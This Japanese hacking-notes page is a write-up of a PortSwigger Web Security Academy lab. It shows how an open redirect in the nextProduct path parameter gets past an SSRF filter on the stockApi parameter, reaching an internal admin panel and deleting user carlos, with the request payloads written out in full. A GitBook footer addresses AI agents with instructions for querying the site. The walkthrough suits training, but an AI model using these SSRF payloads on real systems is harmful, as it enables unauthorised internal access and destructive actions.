> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/ssrf/ssrf-bypass-via-open-redirection.md).

# オープンリダイレクト経由のSSRF回避

PortSwigger Web Security Academy のラボ向けメモ。オープンリダイレクト経由のSSRF回避に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### オープンリダイレクト脆弱性を利用したフィルタ回避付き SSRF

このラボでは、内部システムからデータを取得する在庫確認機能を使用します。／目的は、在庫チェッカーが使用する URL を変更して、次の場所にある管理インターフェースへ到達することです `HTTP://192.168.0.12:8080/admin`、その後ユーザーを削除します **carlos**.

サーバー側フィルタはアプリケーション内部の URL のみを許可しており、そのためにはオープンリダイレクト脆弱性を悪用する必要があります。

#### 分析

制御可能なパラメータは次のとおりです。

```javascript
stockApi=/product/stock/check?productId=1%26storeId=1
```

直接試すと：

```javascript
stockApi=http://192.168.0.12:8080/admin
```

サーバーは次を返します `無効な外部在庫チェック URL 'Invalid URL'`：外部リクエストはブロックされています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b0833daf7d7872be9c5a64b81cdb65a0f88767d%2Fimage%20(329).png?alt=media" alt=""><figcaption></figcaption></figure>

しかし、アプリケーションには **nextProduct** 機能があり、以下を介したオープンリダイレクションに対して脆弱です。 `path` パラメータ：

{% code overflow="wrap" %}

```
https://0adc006f044883d082847e1d00a500b3.web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-756443d3d4682f5134e785437ac19b2818197b34%2Fimage%20(330).png?alt=media" alt=""><figcaption></figcaption></figure>

この機能は、サーバーにリダイレクト先の任意の URL へ追従させます。

#### 悪用

したがって、内部リダイレクタは内部システムへの中継として使用されます。

```javascript
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12472677738048ec3e5fc7b967624ad32f77c026%2Fimage%20(331).png?alt=media" alt=""><figcaption></figcaption></figure>

このリダイレクションを介して管理インターフェースへのアクセスが得られると、ユーザー **carlos** は削除されます：

{% code overflow="wrap" %}

```
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/ssrf/ssrf-bypass-via-open-redirection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
